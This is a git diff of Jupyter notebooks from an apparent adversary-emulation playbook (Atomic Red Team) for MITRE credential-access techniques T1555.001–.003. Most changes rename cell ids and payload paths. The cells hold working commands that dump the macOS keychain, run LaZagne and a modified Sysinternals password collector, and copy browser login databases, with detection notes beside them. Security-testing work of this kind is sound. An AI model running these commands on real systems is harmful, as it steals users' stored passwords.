-k\n```" + "```sh\nsudo security dump-keychain -d login.keychain```" ] }, { "cell_type": "code", "execution_count": null, - "id": "a256611e", + "id": "82ff057d", "metadata": {}, "outputs": [], "source": "Invoke-AtomicTest T1555.001 -TestNumbers 1" }, { "cell_type": "markdown", - "id": "158506e1", + "id": "df456811", + "metadata": {}, + "source": [ + "### Atomic Test #2 - Export Certificate Item(s)", + "This command finds all certificate items and sends the output to local file in pem format.\n", + "**Supported Platforms:** macos", + "\nElevation Required (e.g. root or admin)", + "#### Attack Commands: Run with `sh`\n", + "```sh\nsecurity find-certificate -a -p > /tmp/certs.pem\n```" + ] + }, + { + "cell_type": "code", + "execution_count": null, + "id": "9e1a41a1", + "metadata": {}, + "outputs": [], + "source": "Invoke-AtomicTest T1555.001 -TestNumbers 2" + }, + { + "cell_type": "markdown", + "id": "d4b9e373", + "metadata": {}, + "source": "#### Cleanup: \n```sh\nrm /tmp/certs.pem```" + }, + { + "cell_type": "code", + "execution_count": null, + "id": "48a3cc9f", + "metadata": {}, + "outputs": [], + "source": "Invoke-AtomicTest T1555.001 -TestNumbers 2 -Cleanup" + }, + { + "cell_type": "markdown", + "id": "fc3d7f25", + "metadata": {}, + "source": [ + "### Atomic Test #3 - Import Certificate Item(s) into Keychain", + "This command will import a certificate pem file into a keychain.\n", + "**Supported Platforms:** macos", + "\nElevation Required (e.g. root or admin)", + "#### Attack Commands: Run with `sh`\n", + "```sh\nsecurity import /tmp/certs.pem -k\n```" + ] + }, + { + "cell_type": "code", + "execution_count": null, + "id": "695facd6", + "metadata": {}, + "outputs": [], + "source": "Invoke-AtomicTest T1555.001 -TestNumbers 3" + }, + { + "cell_type": "markdown", + "id": "2a3e8ad6", "metadata": {}, "source": "## Detection\nUnlocking the keychain and using passwords from it is a very common process, so there is likely to be a lot of noise in any detection technique. Monitoring of system calls to the keychain can help determine if there is a suspicious process trying to access it." } @@ -42,13 +99,13 @@ "metadata": { "kernelspec": { "display_name": ".NET (PowerShell)", - "language": "PowerShell", + "language": "pwsh", "name": ".net-powershell" }, "language_info": { "file_extension": ".ps1", "mimetype": "text/x-powershell", - "name": "PowerShell", + "name": "pwsh", "pygments_lexer": "powershell", "version": "7.0" } diff --git a/playbook/tactics/credential-access/T1555.002.ipynb b/playbook/tactics/credential-access/T1555.002.ipynb index 2037e050..57b2a520 100644 --- a/playbook/tactics/credential-access/T1555.002.ipynb +++ b/playbook/tactics/credential-access/T1555.002.ipynb @@ -2,19 +2,19 @@ "cells": [ { "cell_type": "markdown", - "id": "607b366c", + "id": "bc8ff20b", "metadata": {}, "source": "# T1555.002 - Securityd Memory\nAn adversary may obtain root access (allowing them to read securityd\u2019s memory), then they can scan through memory to find the correct sequence of keys in relatively few tries to decrypt the user\u2019s logon keychain. This provides the adversary with all the plaintext passwords for users, WiFi, mail, browsers, certificates, secure notes, etc.(Citation: OS X Keychain)(Citation: OSX Keydnap malware)\n\nIn OS X prior to El Capitan, users with root access can read plaintext keychain passwords of logged-in users because Apple\u2019s keychain implementation allows these credentials to be cached so that users are not repeatedly prompted for passwords.(Citation: OS X Keychain)(Citation: External to DA, the OS X Way) Apple\u2019s securityd utility takes the user\u2019s logon password, encrypts it with PBKDF2, and stores this master key in memory. Apple also uses a set of keys and algorithms to encrypt the user\u2019s password, but once the master key is found, an adversary need only iterate over the other values to unlock the final password.(Citation: OS X Keychain)" }, { "cell_type": "markdown", - "id": "e9168aa2", + "id": "1254e9bc", "metadata": {}, "source": "## Atomic Tests:\nCurrently, no tests are available for this technique." }, { "cell_type": "markdown", - "id": "527bcb87", + "id": "2ab0a2f1", "metadata": {}, "source": "## Detection\nMonitor processes and command-line arguments for activity surrounded users searching for credentials or using automated tools to scan memory for passwords." } @@ -22,13 +22,13 @@ "metadata": { "kernelspec": { "display_name": ".NET (PowerShell)", - "language": "PowerShell", + "language": "pwsh", "name": ".net-powershell" }, "language_info": { "file_extension": ".ps1", "mimetype": "text/x-powershell", - "name": "PowerShell", + "name": "pwsh", "pygments_lexer": "powershell", "version": "7.0" } diff --git a/playbook/tactics/credential-access/T1555.003.ipynb b/playbook/tactics/credential-access/T1555.003.ipynb index d7cab9a1..c879134c 100644 --- a/playbook/tactics/credential-access/T1555.003.ipynb +++ b/playbook/tactics/credential-access/T1555.003.ipynb @@ -2,64 +2,64 @@ "cells": [ { "cell_type": "markdown", - "id": "08c96d1f", + "id": "d8bf2191", "metadata": {}, "source": "# T1555.003 - Credentials from Web Browsers\nAdversaries may acquire credentials from web browsers by reading files specific to the target browser.(Citation: Talos Olympic Destroyer 2018) Web browsers commonly save credentials such as website usernames and passwords so that they do not need to be entered manually in the future. Web browsers typically store the credentials in an encrypted format within a credential store; however, methods exist to extract plaintext credentials from web browsers.\n\nFor example, on Windows systems, encrypted credentials may be obtained from Google Chrome by reading a database file, AppData\\Local\\Google\\Chrome\\User Data\\Default\\Login Data and executing a SQL query: SELECT action_url, username_value, password_value FROM logins;. The plaintext password can then be obtained by passing the encrypted credentials to the Windows API function CryptUnprotectData, which uses the victim\u2019s cached logon credentials as the decryption key.(Citation: Microsoft CryptUnprotectData April 2018)\n \nAdversaries have executed similar procedures for common web browsers such as FireFox, Safari, Edge, etc.(Citation: Proofpoint Vega Credential Stealer May 2018)(Citation: FireEye HawkEye Malware July 2017) Windows stores Internet Explorer and Microsoft Edge credentials in Credential Lockers managed by the [Windows Credential Manager](https://attack.mitre.org/techniques/T1555/004).\n\nAdversaries may also acquire credentials by searching web browser process memory for patterns that commonly match credentials.(Citation: GitHub Mimikittenz July 2016)\n\nAfter acquiring credentials from web browsers, adversaries may attempt to recycle the credentials across different systems and/or accounts in order to expand access. This can result in significantly furthering an adversary's objective in cases where credentials gained from web browsers overlap with privileged accounts (e.g. domain administrator)." }, { "cell_type": "markdown", - "id": "c4f846d7", + "id": "b2f057ba", "metadata": {}, "source": "## Atomic Tests" }, { "cell_type": "markdown", - "id": "d89c0ad1", + "id": "2947e57d", "metadata": {}, - "source": "### Atomic Test #1 - Run Chrome-password Collector\nA modified sysinternals suite will be downloaded and staged. The Chrome-password collector, renamed accesschk.exe, will then be executed from #{file_path}.\n\nSuccessful execution will produce stdout message stating \"Copying db ... passwordsDB DB Opened. statement prepare DB connection closed properly\". Upon completion, final output will be a file modification of $env:TEMP\\sysinternals\\passwordsdb.\n\nAdapted from [MITRE ATTACK Evals](https://github.com/mitre-attack/attack-arsenal/blob/66650cebd33b9a1e180f7b31261da1789cdceb66/adversary_emulation/APT29/CALDERA_DIY/evals/data/abilities/credential-access/e7cab9bb-3e3a-4d93-99cc-3593c1dc8c6d.yml)\n\n**Supported Platforms:** windows\n#### Dependencies: Run with `powershell`!\n##### Description: Modified Sysinternals must be located at #{file_path}\n\n##### Check Prereq Commands:\n```powershell\nif (Test-Path $env:TEMP\\SysInternals) {exit 0} else {exit 1}\n\n```\n##### Get Prereq Commands:\n```powershell\n[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\nInvoke-WebRequest \"https://github.com/mitre-attack/attack-arsenal/raw/66650cebd33b9a1e180f7b31261da1789cdceb66/adversary_emulation/APT29/CALDERA_DIY/evals/payloads/Modified-SysInternalsSuite.zip\" -OutFile \"$env:TEMP\\Modified-SysInternalsSuite.zip\"\nExpand-Archive $env:TEMP\\Modified-SysInternalsSuite.zip $env:TEMP\\sysinternals -Force\nRemove-Item $env:TEMP\\Modified-SysInternalsSuite.zip -Force\n\n```" + "source": "### Atomic Test #1 - Run Chrome-password Collector\nA modified sysinternals suite will be downloaded and staged. The Chrome-password collector, renamed accesschk.exe, will then be executed from #{file_path}.\n\nSuccessful execution will produce stdout message stating \"Copying db ... passwordsDB DB Opened. statement prepare DB connection closed properly\". Upon completion, final output will be a file modification of PathToAtomicsFolder\\..\\ExternalPayloads\\sysinternals\\passwordsdb.\n\nAdapted from [MITRE ATTACK Evals](https://github.com/mitre-attack/attack-arsenal/blob/66650cebd33b9a1e180f7b31261da1789cdceb66/adversary_emulation/APT29/CALDERA_DIY/evals/data/abilities/credential-access/e7cab9bb-3e3a-4d93-99cc-3593c1dc8c6d.yml)\n\n**Supported Platforms:** windows\n#### Dependencies: Run with `powershell`!\n##### Description: Modified Sysinternals must be located at #{file_path}\n\n##### Check Prereq Commands:\n```powershell\nif (Test-Path \"PathToAtomicsFolder\\..\\ExternalPayloads\\SysInternals\") {exit 0} else {exit 1}\n\n```\n##### Get Prereq Commands:\n```powershell\nNew-Item -Type Directory \"PathToAtomicsFolder\\..\\ExternalPayloads\\\" -ErrorAction ignore -Force | Out-Null\n[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\nInvoke-WebRequest \"https://github.com/mitre-attack/attack-arsenal/raw/66650cebd33b9a1e180f7b31261da1789cdceb66/adversary_emulation/APT29/CALDERA_DIY/evals/payloads/Modified-SysInternalsSuite.zip\" -OutFile \"PathToAtomicsFolder\\..\\ExternalPayloads\\Modified-SysInternalsSuite.zip\"\nExpand-Archive \"PathToAtomicsFolder\\..\\ExternalPayloads\\Modified-SysInternalsSuite.zip\" \"PathToAtomicsFolder\\..\\ExternalPayloads\\sysinternals\" -Force\nRemove-Item \"PathToAtomicsFolder\\..\\ExternalPayloads\\Modified-SysInternalsSuite.zip\" -Force\n\n```" }, { "cell_type": "code", "execution_count": null, - "id": "9eab5bf0", + "id": "5a4f2425", "metadata": {}, "outputs": [], "source": "Invoke-AtomicTest T1555.003 -TestNumbers 1 -GetPreReqs" }, { "cell_type": "markdown", - "id": "f8d88e28", + "id": "164de145", "metadata": {}, "source": [ "#### Attack Commands: Run with `powershell`\n", - "```powershell\nSet-Location -path \"$env:TEMP\\Sysinternals\";\n./accesschk.exe -accepteula .;\n```" + "```powershell\nSet-Location -path \"PathToAtomicsFolder\\..\\ExternalPayloads\\Sysinternals\";\n./accesschk.exe -accepteula .;\n```" ] }, { "cell_type": "code", "execution_count": null, - "id": "602e3931", + "id": "6335b1e1", "metadata": {}, "outputs": [], "source": "Invoke-AtomicTest T1555.003 -TestNumbers 1" }, { "cell_type": "markdown", - "id": "3551ac49", + "id": "91ac9b5d", "metadata": {}, - "source": "#### Cleanup: \n```powershell\nRemove-Item $env:TEMP\\Sysinternals -Force -Recurse -ErrorAction Ignore\n```" + "source": "#### Cleanup: \n```powershell\nRemove-Item \"PathToAtomicsFolder\\..\\ExternalPayloads\\Sysinternals\" -Force -Recurse -ErrorAction Ignore\n```" }, { "cell_type": "code", "execution_count": null, - "id": "89ac9f35", + "id": "a561a55f", "metadata": {}, "outputs": [], "source": "Invoke-AtomicTest T1555.003 -TestNumbers 1 -Cleanup" }, { "cell_type": "markdown", - "id": "6d363bd9", + "id": "d6bfd306", "metadata": {}, "source": [ "### Atomic Test #2 - Search macOS Safari Cookies", @@ -72,284 +72,284 @@ { "cell_type": "code", "execution_count": null, - "id": "03af9c8b", + "id": "1028aad9", "metadata": {}, "outputs": [], "source": "Invoke-AtomicTest T1555.003 -TestNumbers 2" }, { "cell_type": "markdown", - "id": "9b7d4d86", + "id": "68298a12", "metadata": {}, - "source": "### Atomic Test #3 - LaZagne - Credentials from Browser\nThe following Atomic test utilizes [LaZagne](https://github.com/AlessandroZ/LaZagne) to extract passwords from browsers on the Windows operating system.\nLaZagne is an open source application used to retrieve passwords stored on a local computer. \n\n**Supported Platforms:** windows\n\nElevation Required (e.g. root or admin)\n#### Dependencies: Run with `powershell`!\n##### Description: LaZagne.exe must exist on disk at specified location (#{lazagne_path})\n\n##### Check Prereq Commands:\n```cmd\nif (Test-Path PathToAtomicsFolder\\T1555.003\\bin\\LaZagne.exe) {exit 0} else {exit 1}\n\n```\n##### Get Prereq Commands:\n```cmd\nNew-Item -Type Directory (split-path PathToAtomicsFolder\\T1555.003\\bin\\LaZagne.exe) -ErrorAction ignore | Out-Null\nInvoke-WebRequest \"https://github.com/AlessandroZ/LaZagne/releases/download/2.4.3/lazagne.exe\" -OutFile \"PathToAtomicsFolder\\T1555.003\\bin\\LaZagne.exe\"\n\n```" + "source": "### Atomic Test #3 - LaZagne - Credentials from Browser\nThe following Atomic test utilizes [LaZagne](https://github.com/AlessandroZ/LaZagne) to extract passwords from browsers on the Windows operating system.\nLaZagne is an open source application used to retrieve passwords stored on a local computer. \n\n**Supported Platforms:** windows\n\nElevation Required (e.g. root or admin)\n#### Dependencies: Run with `powershell`!\n##### Description: LaZagne.exe must exist on disk at specified location (#{lazagne_path})\n\n##### Check Prereq Commands:\n```cmd\nif (Test-Path \"PathToAtomicsFolder\\T1555.003\\bin\\LaZagne.exe\") {exit 0} else {exit 1}\n\n```\n##### Get Prereq Commands:\n```cmd\nNew-Item -Type Directory (split-path \"PathToAtomicsFolder\\T1555.003\\bin\\LaZagne.exe\") -ErrorAction ignore | Out-Null\nInvoke-WebRequest \"https://github.com/AlessandroZ/LaZagne/releases/download/v2.4.5/LaZagne.exe\" -OutFile \"PathToAtomicsFolder\\T1555.003\\bin\\LaZagne.exe\"\n\n```" }, { "cell_type": "code", "execution_count": null, - "id": "0859bbfa", + "id": "63ffa6ec", "metadata": {}, "outputs": [], "source": "Invoke-AtomicTest T1555.003 -TestNumbers 3 -GetPreReqs" }, { "cell_type": "markdown", - "id": "70f66b63", + "id": "726d539e", "metadata": {}, "source": [ "#### Attack Commands: Run with `command_prompt`\n", - "```command_prompt\nPathToAtomicsFolder\\T1555.003\\bin\\LaZagne.exe browsers\n```" + "```command_prompt\n\"PathToAtomicsFolder\\T1555.003\\bin\\LaZagne.exe\" browsers\n```" ] }, { "cell_type": "code", "execution_count": null, - "id": "c6d0ed7f", + "id": "1549efee", "metadata": {}, "outputs": [], "source": "Invoke-AtomicTest T1555.003 -TestNumbers 3" }, { "cell_type": "markdown", - "id": "6aaeeda0", + "id": "d8d255de", "metadata": {}, - "source": "### Atomic Test #4 - Simulating access to Chrome Login Data\nSimulates an adversary accessing encrypted credentials from Google Chrome Login database. \n\n**Supported Platforms:** windows\n#### Dependencies: Run with `powershell`!\n##### Description: Chrome must be installed\n\n##### Check Prereq Commands:\n```powershell\nif ((Test-Path \"C:\\Program Files\\Google\\Chrome\\Application\\chrome.exe\") -Or (Test-Path \"C:\\Program Files (x86)\\Google\\Chrome\\Application\\chrome.exe\")) {exit 0} else {exit 1}\n```\n##### Get Prereq Commands:\n```powershell\n$installer = \"$env:temp\\ChromeStandaloneSetup64.msi\"\nInvoke-WebRequest -OutFile $env:temp\\ChromeStandaloneSetup64.msi https://dl.google.com/chrome/install/googlechromestandaloneenterprise64.msi\nmsiexec /i $installer /qn\nStart-Process -FilePath \"chrome.exe\"\nStop-Process -Name \"chrome\"\n\n```" + "source": "### Atomic Test #4 - Simulating access to Chrome Login Data\nSimulates an adversary accessing encrypted credentials from Google Chrome Login database. \n\n**Supported Platforms:** windows\n#### Dependencies: Run with `powershell`!\n##### Description: Chrome must be installed\n\n##### Check Prereq Commands:\n```powershell\nif ((Test-Path \"C:\\Program Files\\Google\\Chrome\\Application\\chrome.exe\") -Or (Test-Path \"C:\\Program Files (x86)\\Google\\Chrome\\Application\\chrome.exe\")) {exit 0} else {exit 1}\n```\n##### Get Prereq Commands:\n```powershell\nNew-Item -Type Directory \"PathToAtomicsFolder\\..\\ExternalPayloads\\\" -ErrorAction Ignore -Force | Out-Null\n$installer = \"PathToAtomicsFolder\\..\\ExternalPayloads\\ChromeStandaloneSetup64.msi\"\nInvoke-WebRequest -OutFile \"PathToAtomicsFolder\\..\\ExternalPayloads\\ChromeStandaloneSetup64.msi\" https://dl.google.com/chrome/install/googlechromestandaloneenterprise64.msi\nmsiexec /i $installer /qn\nStart-Process -FilePath \"chrome.exe\"\nStop-Process -Name \"chrome\"\n\n```" }, { "cell_type": "code", "execution_count": null, - "id": "75700ab8", + "id": "c06124be", "metadata": {}, "outputs": [], "source": "Invoke-AtomicTest T1555.003 -TestNumbers 4 -GetPreReqs" }, { "cell_type": "markdown", - "id": "412018a4", + "id": "50014bb7", "metadata": {}, "source": [ "#### Attack Commands: Run with `powershell`\n", - "```powershell\nCopy-Item \"$env:LOCALAPPDATA\\Google\\Chrome\\User Data\\Default\\Login Data\" -Destination $env:temp\nCopy-Item \"$env:LOCALAPPDATA\\Google\\Chrome\\User Data\\Default\\Login Data For Account\" -Destination $env:temp\n```" + "```powershell\nCopy-Item \"$env:LOCALAPPDATA\\Google\\Chrome\\User Data\\Default\\Login Data\" -Destination \"PathToAtomicsFolder\\..\\ExternalPayloads\"\nCopy-Item \"$env:LOCALAPPDATA\\Google\\Chrome\\User Data\\Default\\Login Data For Account\" -Destination \"PathToAtomicsFolder\\..\\ExternalPayloads\"\n```" ] }, { "cell_type": "code", "execution_count": null, - "id": "39c0cd72", + "id": "aa1e13c2", "metadata": {}, "outputs": [], "source": "Invoke-AtomicTest T1555.003 -TestNumbers 4" }, { "cell_type": "markdown", - "id": "b989eb03", + "id": "01de709a", "metadata": {}, - "source": "#### Cleanup: \n```powershell\nRemove-Item -Path \"$env:temp\\Login Data\" -Force -ErrorAction Ignore\nRemove-Item -Path \"$env:temp\\Login Data For Account\" -Force -ErrorAction Ignore\n```" + "source": "#### Cleanup: \n```powershell\nRemove-Item -Path \"PathToAtomicsFolder\\..\\ExternalPayloads\\Login Data\" -Force -ErrorAction Ignore\nRemove-Item -Path \"PathToAtomicsFolder\\..\\ExternalPayloads\\Login Data For Account\" -Force -ErrorAction Ignore\n```" }, { "cell_type": "code", "execution_count": null, - "id": "db5a6ad2", + "id": "283fbdf5", "metadata": {}, "outputs": [], "source": "Invoke-AtomicTest T1555.003 -TestNumbers 4 -Cleanup" }, { "cell_type": "markdown", - "id": "1b41d07a", + "id": "e7b6732e", "metadata": {}, - "source": "### Atomic Test #5 - Simulating access to Opera Login Data\nSimulates an adversary accessing encrypted credentials from Opera web browser's login database. \n\n**Supported Platforms:** windows\n#### Dependencies: Run with `powershell`!\n##### Description: Opera must be installed\n\n##### Check Prereq Commands:\n```powershell\nif (((Test-Path \"$env:LOCALAPPDATA\\Programs\\Opera\\launcher.exe\") -Or (Test-Path \"C:\\Program Files\\Opera\\launcher.exe\") -Or (Test-Path \"C:\\Program Files (x86)\\Opera\\launcher.exe\"))) {exit 0} else {exit 1}\n```\n##### Get Prereq Commands:\n```powershell\n$installer = \"$env:temp\\OperaStandaloneInstaller.exe\"\nInvoke-WebRequest -OutFile $env:temp\\OperaStandaloneInstaller.exe https://get.geo.opera.com/pub/opera/desktop/82.0.4227.43/win/Opera_82.0.4227.43_Setup.exe\nStart-Process $installer -ArgumentList '/install /silent /launchopera=1 /setdefaultbrowser=0'\nStart-Sleep -s 180\nStop-Process -Name \"opera\"\n\n```\n##### Description: Opera login data file must exist\n\n##### Check Prereq Commands:\n```powershell\nif (Test-Path \"$env:APPDATA\\Opera Software\\Opera Stable\\Login Data\") {exit 0} else {exit 1}\n```\n##### Get Prereq Commands:\n```powershell\nNew-Item -Path \"$env:APPDATA\\Opera Software\\Opera Stable\\Login Data\" -ItemType File\n\n```" + "source": "### Atomic Test #5 - Simulating access to Opera Login Data\nSimulates an adversary accessing encrypted credentials from Opera web browser's login database. \n\n**Supported Platforms:** windows\n#### Dependencies: Run with `powershell`!\n##### Description: Opera must be installed\n\n##### Check Prereq Commands:\n```powershell\nif (((Test-Path \"$env:LOCALAPPDATA\\Programs\\Opera\\launcher.exe\") -Or (Test-Path \"C:\\Program Files\\Opera\\launcher.exe\") -Or (Test-Path \"C:\\Program Files (x86)\\Opera\\launcher.exe\"))) {exit 0} else {exit 1}\n```\n##### Get Prereq Commands:\n```powershell\nNew-Item -Type Directory \"PathToAtomicsFolder\\..\\ExternalPayloads\\\" -ErrorAction Ignore -Force | Out-Null\n$installer = \"PathToAtomicsFolder\\..\\ExternalPayloads\\OperaStandaloneInstaller.exe\"\nInvoke-WebRequest -OutFile \"PathToAtomicsFolder\\..\\ExternalPayloads\\OperaStandaloneInstaller.exe\" https://get.geo.opera.com/pub/opera/desktop/82.0.4227.43/win/Opera_82.0.4227.43_Setup.exe\nStart-Process $installer -ArgumentList '/install /silent /launchopera=1 /setdefaultbrowser=0'\nStart-Sleep -s 180\nStop-Process -Name \"opera\"\n\n```\n##### Description: Opera login data file must exist\n\n##### Check Prereq Commands:\n```powershell\nif (Test-Path \"$env:APPDATA\\Opera Software\\Opera Stable\\Login Data\") {exit 0} else {exit 1}\n```\n##### Get Prereq Commands:\n```powershell\nNew-Item -Path \"$env:APPDATA\\Opera Software\\Opera Stable\\Login Data\" -ItemType File\n\n```" }, { "cell_type": "code", "execution_count": null, - "id": "49a80e8b", + "id": "1fe53363", "metadata": {}, "outputs": [], "source": "Invoke-AtomicTest T1555.003 -TestNumbers 5 -GetPreReqs" }, { "cell_type": "markdown", - "id": "cc25bb43", + "id": "29ef8277", "metadata": {}, "source": [ "#### Attack Commands: Run with `powershell`\n", - "```powershell\nCopy-Item \"$env:APPDATA\\Opera Software\\Opera Stable\\Login Data\" -Destination $env:temp\n```" + "```powershell\nCopy-Item \"$env:APPDATA\\Opera Software\\Opera Stable\\Login Data\" -Destination \"PathToAtomicsFolder\\..\\ExternalPayloads\"\n```" ] }, { "cell_type": "code", "execution_count": null, - "id": "be15ca32", + "id": "9402b2a4", "metadata": {}, "outputs": [], "source": "Invoke-AtomicTest T1555.003 -TestNumbers 5" }, { "cell_type": "markdown", - "id": "7994711a", + "id": "5b5054f8", "metadata": {}, - "source": "#### Cleanup: \n```powershell\nRemove-Item -Path \"$env:temp\\Login Data\" -Force -ErrorAction Ignore\n```" + "source": "#### Cleanup: \n```powershell\nRemove-Item -Path \"PathToAtomicsFolder\\..\\ExternalPayloads\\Login Data\" -Force -ErrorAction Ignore\n```" }, { "cell_type": "code", "execution_count": null, - "id": "5e471d0c", + "id": "4a5e4459", "metadata": {}, "outputs": [], "source": "Invoke-AtomicTest T1555.003 -TestNumbers 5 -Cleanup" }, { "cell_type": "markdown", - "id": "75ff0c05", + "id": "138063c9", "metadata": {}, - "source": "### Atomic Test #6 - Simulating access to Windows Firefox Login Data\nSimulates an adversary accessing encrypted credentials from firefox web browser's login database.\nmore info in https://support.mozilla.org/en-US/kb/profiles-where-firefox-stores-user-data\n\n**Supported Platforms:** windows\n#### Dependencies: Run with `powershell`!\n##### Description: Firefox must be installed\n\n##### Check Prereq Commands:\n```powershell\nif ((Test-Path \"C:\\Program Files\\Mozilla Firefox\\firefox.exe\") -Or (Test-Path \"C:\\Program Files (x86)\\Mozilla Firefox\\firefox.exe\")) {exit 0} else {exit 1}\n```\n##### Get Prereq Commands:\n```powershell\nif ($env:PROCESSOR_ARCHITECTURE -eq 'AMD64') {$url=\"https://download.mozilla.org/?product=firefox-latest-ssl&os=win64&lang=en-US\"}else {$url=\"https://download.mozilla.org/?product=firefox-latest-ssl&os=win&lang=en-US\"}\n$installer = \"$env:temp\\firefoxsetup.exe\"\n(New-Object Net.WebClient).DownloadFile($url,$installer)\nStart-Process $installer -ArgumentList '/S' -Wait\n\n```\n##### Description: Firefox login data file must exist\n\n##### Check Prereq Commands:\n```powershell\nif (Test-Path \"$env:APPDATA\\Mozilla\\Firefox\\Profiles\\\") {exit 0} else {exit 1}\n```\n##### Get Prereq Commands:\n```powershell\nif ($env:PROCESSOR_ARCHITECTURE -eq 'AMD64') {$firefox=\"C:\\Program Files\\Mozilla Firefox\\firefox.exe\"}else {$firefox=\"C:\\Program Files (x86)\\Mozilla Firefox\\firefox.exe\"}\nStart-Process $firefox -ArgumentList '-CreateProfile Atomic' -Wait\nStart-Process $firefox -NoNewWindow\nStart-Sleep -s 20\nStop-Process -Name firefox\n\n```" + "source": "### Atomic Test #6 - Simulating access to Windows Firefox Login Data\nSimulates an adversary accessing encrypted credentials from firefox web browser's login database.\nmore info in https://support.mozilla.org/en-US/kb/profiles-where-firefox-stores-user-data\n\n**Supported Platforms:** windows\n#### Dependencies: Run with `powershell`!\n##### Description: Firefox must be installed\n\n##### Check Prereq Commands:\n```powershell\nif ((Test-Path \"C:\\Program Files\\Mozilla Firefox\\firefox.exe\") -Or (Test-Path \"C:\\Program Files (x86)\\Mozilla Firefox\\firefox.exe\")) {exit 0} else {exit 1}\n```\n##### Get Prereq Commands:\n```powershell\nNew-Item -Type Directory \"PathToAtomicsFolder\\..\\ExternalPayloads\\\" -ErrorAction Ignore -Force | Out-Null\nif ($env:PROCESSOR_ARCHITECTURE -eq 'AMD64') {$url=\"https://download.mozilla.org/?product=firefox-latest-ssl&os=win64&lang=en-US\"}else {$url=\"https://download.mozilla.org/?product=firefox-latest-ssl&os=win&lang=en-US\"}\n$installer = \"PathToAtomicsFolder\\..\\ExternalPayloads\\firefoxsetup.exe\"\n(New-Object Net.WebClient).DownloadFile($url,$installer)\nStart-Process $installer -ArgumentList '/S' -Wait\n\n```\n##### Description: Firefox login data file must exist\n\n##### Check Prereq Commands:\n```powershell\nif (Test-Path \"$env:APPDATA\\Mozilla\\Firefox\\Profiles\\\") {exit 0} else {exit 1}\n```\n##### Get Prereq Commands:\n```powershell\nif ($env:PROCESSOR_ARCHITECTURE -eq 'AMD64') {$firefox=\"C:\\Program Files\\Mozilla Firefox\\firefox.exe\"}else {$firefox=\"C:\\Program Files (x86)\\Mozilla Firefox\\firefox.exe\"}\nStart-Process $firefox -ArgumentList '-CreateProfile Atomic' -Wait\nStart-Process $firefox -NoNewWindow\nStart-Sleep -s 20\nStop-Process -Name firefox\n\n```" }, { "cell_type": "code", "execution_count": null, - "id": "eac2421a", + "id": "f58ae2f2", "metadata": {}, "outputs": [], "source": "Invoke-AtomicTest T1555.003 -TestNumbers 6 -GetPreReqs" }, { "cell_type": "markdown", - "id": "50ee9af7", + "id": "6f1695bf", "metadata": {}, "source": [ "#### Attack Commands: Run with `powershell`\n", - "```powershell\nCopy-Item \"$env:APPDATA\\Mozilla\\Firefox\\Profiles\\\" -Destination $env:temp -Force -Recurse\n```" + "```powershell\nCopy-Item \"$env:APPDATA\\Mozilla\\Firefox\\Profiles\\\" -Destination \"PathToAtomicsFolder\\..\\ExternalPayloads\" -Force -Recurse\n```" ] }, { "cell_type": "code", "execution_count": null, - "id": "0ba25238", + "id": "6a15a0ad", "metadata": {}, "outputs": [], "source": "Invoke-AtomicTest T1555.003 -TestNumbers 6" }, { "cell_type": "markdown", - "id": "1b4e6924", + "id": "475d236e", "metadata": {}, - "source": "#### Cleanup: \n```powershell\nRemove-Item -Path \"$env:temp\\Profiles\" -Force -ErrorAction Ignore -Recurse\n```" + "source": "#### Cleanup: \n```powershell\nRemove-Item -Path \"PathToAtomicsFolder\\..\\ExternalPayloads\\Profiles\" -Force -ErrorAction Ignore -Recurse\n```" }, { "cell_type": "code", "execution_count": null, - "id": "5cec6ac1", + "id": "5bcdd368", "metadata": {}, "outputs": [], "source": "Invoke-AtomicTest T1555.003 -TestNumbers 6 -Cleanup" }, { "cell_type": "markdown", - "id": "0baed5b3", + "id": "dad482e7", "metadata": {}, "source": "### Atomic Test #7 - Simulating access to Windows Edge Login Data\nSimulates an adversary accessing encrypted credentials from Edge web browser's login database.\nmore info in https://www.forensicfocus.com/articles/chromium-based-microsoft-edge-from-a-forensic-point-of-view/\n\n**Supported Platforms:** windows\n#### Dependencies: Run with `powershell`!\n##### Description: Edge must be installed\n\n##### Check Prereq Commands:\n```powershell\nif (Test-Path \"C:\\Program Files (x86)\\Microsoft\\Edge\\Application\\msedge.exe\") {exit 0} else {exit 1}\n```\n##### Get Prereq Commands:\n```powershell\n\"Installation is not implemented as Edge is a part of windows\"\n\n```\n##### Description: Edge login data file must exist\n\n##### Check Prereq Commands:\n```powershell\nif (Test-Path \"$env:LOCALAPPDATA\\Microsoft\\Edge\\User Data\\Default\") {exit 0} else {exit 1}\n```\n##### Get Prereq Commands:\n```powershell\n$edge=\"C:\\Program Files (x86)\\Microsoft\\Edge\\Application\\msedge.exe\"\nStart-Process $edge \nStart-Sleep -s 20\nStop-Process -Name msedge\n\n```" }, { "cell_type": "code", "execution_count": null, - "id": "c3f5d807", + "id": "a4cb2fb4", "metadata": {}, "outputs": [], "source": "Invoke-AtomicTest T1555.003 -TestNumbers 7 -GetPreReqs" }, { "cell_type": "markdown", - "id": "27f5d2c7", + "id": "da1761c7", "metadata": {}, "source": [ "#### Attack Commands: Run with `powershell`\n", - "```powershell\nCopy-Item \"$env:LOCALAPPDATA\\Microsoft\\Edge\\User Data\\Default\" -Destination $env:temp\\Edge -Force -Recurse\n```" + "```powershell\nCopy-Item \"$env:LOCALAPPDATA\\Microsoft\\Edge\\User Data\\Default\" -Destination \"PathToAtomicsFolder\\..\\ExternalPayloads\\Edge\" -Force -Recurse\n```" ] }, { "cell_type": "code", "execution_count": null, - "id": "28bb0bb5", + "id": "bfc86608", "metadata": {}, "outputs": [], "source": "Invoke-AtomicTest T1555.003 -TestNumbers 7" }, { "cell_type": "markdown", - "id": "a6761742", + "id": "00b005c2", "metadata": {}, - "source": "#### Cleanup: \n```powershell\nRemove-Item -Path \"$env:temp\\Edge\" -Force -ErrorAction Ignore -Recurse\n```" + "source": "#### Cleanup: \n```powershell\nRemove-Item -Path \"PathToAtomicsFolder\\..\\ExternalPayloads\\Edge\" -Force -ErrorAction Ignore -Recurse\n```" }, { "cell_type": "code", "execution_count": null, - "id": "a99e9946", + "id": "1d9cfe9f", "metadata": {}, "outputs": [], "source": "Invoke-AtomicTest T1555.003 -TestNumbers 7 -Cleanup" }, { "cell_type": "markdown", - "id": "a65e1241", + "id": "85e49e4a", "metadata": {}, - "source": "### Atomic Test #8 - Decrypt Mozilla Passwords with Firepwd.py\nFirepwd.py is a script that can decrypt Mozilla (Thunderbird, Firefox) passwords.\nUpon successful execution, the decrypted credentials will be output to a text file, as well as displayed on screen. \n\n**Supported Platforms:** windows\n#### 